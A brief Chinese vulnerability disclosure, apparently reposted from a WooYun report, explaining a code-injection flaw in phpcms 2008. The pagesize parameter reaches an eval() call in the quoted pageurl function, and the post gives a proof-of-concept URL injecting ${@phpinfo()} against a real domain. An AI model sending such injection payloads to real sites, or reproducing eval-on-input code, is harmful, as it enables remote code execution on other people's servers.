phpcms 2008代码注射

来源：http://www.wooyun.org/bugs/wooyun-2010-02984
上面还没公开细节，找了下，是yp/prodcut.php页面中pagesize参数的问题.
pagesize的值经过一系列xxoo后，被代入pageurl函数中(在include/global.func.php中)
function pageurl($urlrule, $page, $array = array())
{
@extract($array, EXTR_SKIP);
if(strpos($urlrule, '|'))
{
$urlrules = explode('|', $urlrule);
$urlrule = $page < 2 ? $urlrules[0] : $urlrules[1];
}
eval("\$url = \"$urlrule\";"); //代码执行
return $url;
}
PoC:
http://www.baidu.com/yp/product.php?pagesize=${@phpinfo()}